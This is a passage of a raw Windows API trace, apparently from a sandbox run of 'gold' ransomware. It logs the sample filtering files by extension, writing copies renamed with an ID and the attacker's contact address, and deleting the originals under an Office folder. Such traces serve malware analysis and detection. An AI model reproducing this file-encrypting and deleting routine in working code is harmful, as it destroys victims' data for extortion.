[0099.644] lstrlenW (lpString=".xlsx") returned 5 [0099.644] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0099.644] lstrlenW (lpString=".ppt") returned 4 [0099.644] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.644] lstrlenW (lpString=".zip") returned 4 [0099.644] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.644] lstrlenW (lpString=".rar") returned 4 [0099.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.644] lstrlenW (lpString=".bz2") returned 4 [0099.644] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.644] lstrlenW (lpString=".7z") returned 3 [0099.644] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.644] lstrlenW (lpString=".dbf") returned 4 [0099.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.644] lstrlenW (lpString=".1cd") returned 4 [0099.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.644] lstrlenW (lpString=".jpg") returned 4 [0099.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.644] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0099.644] lstrlenW (lpString="FOLDER.ICO") returned 10 [0099.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.646] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=4710) returned 1 [0099.646] CloseHandle (hObject=0x364) returned 1 [0099.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 0x20 [0099.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.647] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.647] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0099.780] GetLastError () returned 0x0 [0099.780] ReadFile (in: hFile=0x364, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x1266, lpOverlapped=0x0) returned 1 [0099.812] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0099.813] ReadFile (in: hFile=0x364, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.813] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0099.813] SetEndOfFile (hFile=0x394) returned 1 [0099.813] CloseHandle (hObject=0x394) returned 1 [0099.813] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.813] SetEndOfFile (hFile=0x364) returned 1 [0099.815] CloseHandle (hObject=0x364) returned 1 [0099.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 1 [0099.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.931] lstrlenW (lpString=".doc") returned 4 [0099.931] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0099.931] lstrlenW (lpString=".docx") returned 5 [0099.931] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0099.931] lstrlenW (lpString=".pdf") returned 4 [0099.931] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0099.931] lstrlenW (lpString=".xls") returned 4 [0099.931] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0099.931] lstrlenW (lpString=".xlsx") returned 5 [0099.931] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0099.931] lstrlenW (lpString=".ppt") returned 4 [0099.931] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0099.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.931] lstrlenW (lpString=".zip") returned 4 [0099.931] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString=".rar") returned 4 [0099.932] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString=".bz2") returned 4 [0099.932] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString=".7z") returned 3 [0099.932] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".dbf") returned 4 [0099.932] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".1cd") returned 4 [0099.932] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".jpg") returned 4 [0099.932] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".doc") returned 4 [0099.932] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString=".docx") returned 5 [0099.932] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0099.932] lstrlenW (lpString=".pdf") returned 4 [0099.932] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString=".xls") returned 4 [0099.932] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString=".xlsx") returned 5 [0099.932] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0099.932] lstrlenW (lpString=".ppt") returned 4 [0099.932] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".zip") returned 4 [0099.932] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString=".rar") returned 4 [0099.932] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0099.932] lstrlenW (lpString=".bz2") returned 4 [0099.932] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString=".7z") returned 3 [0099.932] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".dbf") returned 4 [0099.932] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".1cd") returned 4 [0099.932] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0099.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0099.932] lstrlenW (lpString=".jpg") returned 4 [0099.932] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0099.932] lstrcmpiW (lpString1=".gta", lpString2=".gold") returned 1 [0099.933] lstrlenW (lpString="Discussion.gta") returned 14 [0099.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.942] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=104836) returned 1 [0099.942] CloseHandle (hObject=0x3ac) returned 1 [0099.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20 [0099.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.943] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.943] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.944] GetLastError () returned 0x0 [0099.944] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x19984, lpOverlapped=0x0) returned 1 [0099.963] WriteFile (in: hFile=0x190, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x19990, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x19990, lpOverlapped=0x0) returned 1 [0099.965] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.965] WriteFile (in: hFile=0x190, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0099.965] SetEndOfFile (hFile=0x190) returned 1 [0099.965] CloseHandle (hObject=0x190) returned 1 [0099.965] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.965] SetEndOfFile (hFile=0x3ac) returned 1 [0099.968] CloseHandle (hObject=0x3ac) returned 1 [0099.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 1 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString=".doc") returned 4 [0099.969] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0099.969] lstrlenW (lpString=".docx") returned 5 [0099.969] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0099.969] lstrlenW (lpString=".pdf") returned 4 [0099.969] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0099.969] lstrlenW (lpString=".xls") returned 4 [0099.969] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0099.969] lstrlenW (lpString=".xlsx") returned 5 [0099.969] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0099.969] lstrlenW (lpString=".ppt") returned 4 [0099.969] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString=".zip") returned 4 [0099.969] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0099.969] lstrlenW (lpString=".rar") returned 4 [0099.969] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0099.969] lstrlenW (lpString=".bz2") returned 4 [0099.969] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0099.969] lstrlenW (lpString=".7z") returned 3 [0099.969] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString=".dbf") returned 4 [0099.969] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString=".1cd") returned 4 [0099.969] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString=".jpg") returned 4 [0099.969] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.970] lstrlenW (lpString=".doc") returned 4 [0099.970] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0099.970] lstrlenW (lpString=".docx") returned 5 [0099.970] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0099.970] lstrlenW (lpString=".pdf") returned 4 [0099.970] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0099.970] lstrlenW (lpString=".xls") returned 4 [0099.970] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0099.970] lstrlenW (lpString=".xlsx") returned 5 [0099.970] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0099.970] lstrlenW (lpString=".ppt") returned 4 [0099.970] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0099.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.970] lstrlenW (lpString=".zip") returned 4 [0099.970] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0099.970] lstrlenW (lpString=".rar") returned 4 [0099.970] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0099.970] lstrlenW (lpString=".bz2") returned 4 [0099.970] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0099.970] lstrlenW (lpString=".7z") returned 3 [0099.970] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0099.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.970] lstrlenW (lpString=".dbf") returned 4 [0099.970] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0099.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.970] lstrlenW (lpString=".1cd") returned 4 [0099.970] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0099.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0099.970] lstrlenW (lpString=".jpg") returned 4 [0099.970] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0099.970] lstrcmpiW (lpString1=".gta", lpString2=".gold") returned 1 [0099.970] lstrlenW (lpString="Discussion14.gta") returned 16 [0099.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.971] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=362441) returned 1 [0099.971] CloseHandle (hObject=0x3ac) returned 1 [0099.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0099.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.971] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.971] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.972] GetLastError () returned 0x0 [0099.972] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x587c9, lpOverlapped=0x0) returned 1 [0099.990] WriteFile (in: hFile=0x190, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x587d0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x587d0, lpOverlapped=0x0) returned 1 [0099.996] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.996] WriteFile (in: hFile=0x190, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0099.996] SetEndOfFile (hFile=0x190) returned 1 [0099.996] CloseHandle (hObject=0x190) returned 1 [0099.997] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.997] SetEndOfFile (hFile=0x3ac) returned 1 [0100.257] CloseHandle (hObject=0x3ac) returned 1 [0100.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 1 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString=".doc") returned 4 [0100.659] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0100.659] lstrlenW (lpString=".docx") returned 5 [0100.659] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0100.659] lstrlenW (lpString=".pdf") returned 4 [0100.659] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0100.659] lstrlenW (lpString=".xls") returned 4 [0100.659] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0100.659] lstrlenW (lpString=".xlsx") returned 5 [0100.659] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0100.659] lstrlenW (lpString=".ppt") returned 4 [0100.659] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString=".zip") returned 4 [0100.659] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0100.659] lstrlenW (lpString=".rar") returned 4 [0100.659] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0100.659] lstrlenW (lpString=".bz2") returned 4 [0100.659] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0100.659] lstrlenW (lpString=".7z") returned 3 [0100.659] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString=".dbf") returned 4 [0100.659] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString=".1cd") returned 4 [0100.659] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString=".jpg") returned 4 [0100.659] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.659] lstrlenW (lpString=".doc") returned 4 [0100.659] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0100.660] lstrlenW (lpString=".docx") returned 5 [0100.660] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0100.660] lstrlenW (lpString=".pdf") returned 4 [0100.660] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0100.660] lstrlenW (lpString=".xls") returned 4 [0100.660] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0100.660] lstrlenW (lpString=".xlsx") returned 5 [0100.660] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0100.660] lstrlenW (lpString=".ppt") returned 4 [0100.660] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0100.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.660] lstrlenW (lpString=".zip") returned 4 [0100.660] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0100.660] lstrlenW (lpString=".rar") returned 4 [0100.660] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0100.660] lstrlenW (lpString=".bz2") returned 4 [0100.660] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0100.660] lstrlenW (lpString=".7z") returned 3 [0100.660] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0100.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.660] lstrlenW (lpString=".dbf") returned 4 [0100.660] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0100.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.660] lstrlenW (lpString=".1cd") returned 4 [0100.660] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0100.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0100.660] lstrlenW (lpString=".jpg") returned 4 [0100.660] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0100.660] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0100.660] lstrlenW 